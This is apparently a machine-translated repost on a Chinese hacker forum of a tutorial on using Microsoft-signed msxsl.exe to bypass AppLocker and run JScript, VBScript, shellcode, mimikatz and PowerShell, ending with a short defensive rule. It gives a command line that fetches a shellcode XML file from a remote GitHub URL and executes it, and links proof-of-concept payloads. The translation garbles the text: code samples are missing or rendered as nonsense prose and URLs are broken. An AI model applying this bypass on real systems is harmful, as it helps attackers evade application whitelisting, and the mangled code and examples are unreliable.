跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

0x00 前言

Casey Smith@subTee在twitter上分享了一个小技巧,使用带有微软签名的msxsl.exe可以执行JScript代码,从而绕过Applocker。

1-1.png

twitter地址如下:

https://twitter.com/subTee/status/877616321747271680

POC地址如下:

https://gist . github . com/subTee/47 f 16d 60 EFC 9 f 7 cfefd 62 FB 7a 712 ec8d

0x01 简介

本文将介绍这一技术,分析可以进一步使用的方法,并对其进行扩展,介绍用msxsl.exe执行VBScript代码的方法。

0x02 msxsl

1、msxsl.exe

Xsl(可扩展样式表语言)转换器

命令行工具

使用Microsoft数字签名

下载地址:

https://www.microsoft.com/en-us/download/details.aspx?id=21714

执行下图

2-1.png

请参见Casey Smith的概念证明:

customers.xml:

?xml版本='1.0 '?

?XML-style sheet type=' text/xsl ' href=' script . xsl '?

约翰史密斯榆树街123号。

(123)橡树大道456号玛丽琼斯456-7890号。

(156) 789-0123

script.xml:

?xml版本='1.0 '?

成功执行JScript代码,弹出计算器,poc执行如下图。

2-2.png

打开Applocker,添加拦截js脚本执行的规则,如下图所示

2-3.png

但是您仍然可以使用msxsl执行JScript代码。

之前的文章《利用JS加载.Net程序》介绍了使用JScript脚本加载的方法。Net程序。结合这篇文章,我们可以得出推论:

使用msxsl也能够执行c#代码

具体来说,可以实现以下功能:

执行外壳代码

执行mimikatz

执行powershell脚本

2、执行shellcode

您可以在以下地址查阅Cn33liz的星际战斗机:

https://github . com/cn 33 Liz/StarFighters/blob/master/starfighter . js

结合Casey的POC,我们可以用msxsl实现shellcode。

我已经将完整的代码上传到github,地址如下:

https://github . com/3g student/Use-msxsl-to-bypass-app locker/blob/master/shellcode . XML

测试下图

3-1.png

关于mimikatz和powershell脚本的执行,请参考之前的文章《利用JS加载.Net程序》。

0x03 脚本优化

分析xml文件格式并适当优化Casey的POC。

1、精简customers.xml

XML命名规则:

该名称可以包含字母、数字和其他字符。

名称不能以数字或标点符号开头。

该名称不能以字符“xml”(或XML,Xml)开头

名称不能包含空格。

你可以使用任何名称,没有保留字。

原始POC内容如下:

?xml版本='1.0 '?

?XML-style sheet type=' text/xsl ' href=' script . xsl '?

约翰史密斯榆树街123号。

(123)橡树大道456号玛丽琼斯456-7890号。

(156) 789-0123

经过分析,参数1中的xml文件并不重要,元素可以任意指定。

删除不相关的参数并重命名xml元素。简化代码如下:

此外,还可以使用script.xsl作为第一个xml文件参数,以便创建更少的文件。

例如,参数如下:

msxsl.exe脚本

成功执行,如下图所示

3-2.png

2、优化script.xsl

执行VBScript代码:

注:

经过测试,这个xml脚本不支持CSharp,与这个数据相反。这个问题需要解决。

信息如下:

https://msdn . Microsoft . com/en-us/library/533 texxx(vs . 71)。aspx

对于VBScript语言,不支持用return来表示函数返回值,函数返回值用function name=要返回的值来表示。

全文如下:

?xml版本='1.0 '?

以上文件内容对应github地址:https://github . com/3g student/use-msxsl-to-bypass-app locker/blob/master/VBScript . XML。

注:

调用函数名应该对应于:

3、远程执行

Msxsl.exe还支持远程执行,参数如下:

msxls.exe https://raw . githubusercontent . com/3g student/Use-msxsl-to-bypass-app locker/master/shellcode . XML https://raw . githubusercontent . com/3g student/Use-msxsl-to-bypass-app locker/master/shellcode . XML

如下图

3-3.png

注:

方法是从Evi1cg学来的,博客地址是https://evi1cg.me/archives/AppLocker_Bypass_MSXSL.html.

0x04 防御

添加Applocker的可执行规则并指定msxsl.exe。

如下图

4-1.png

即使更改了文件路径,也无法执行msxsl.exe。

如下图

4-2.png

0x05 小结

介绍了使用msxsl绕过AppLocker的方法,但该方法的使用仍然可以通过自定义AppLocker规则来限制。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。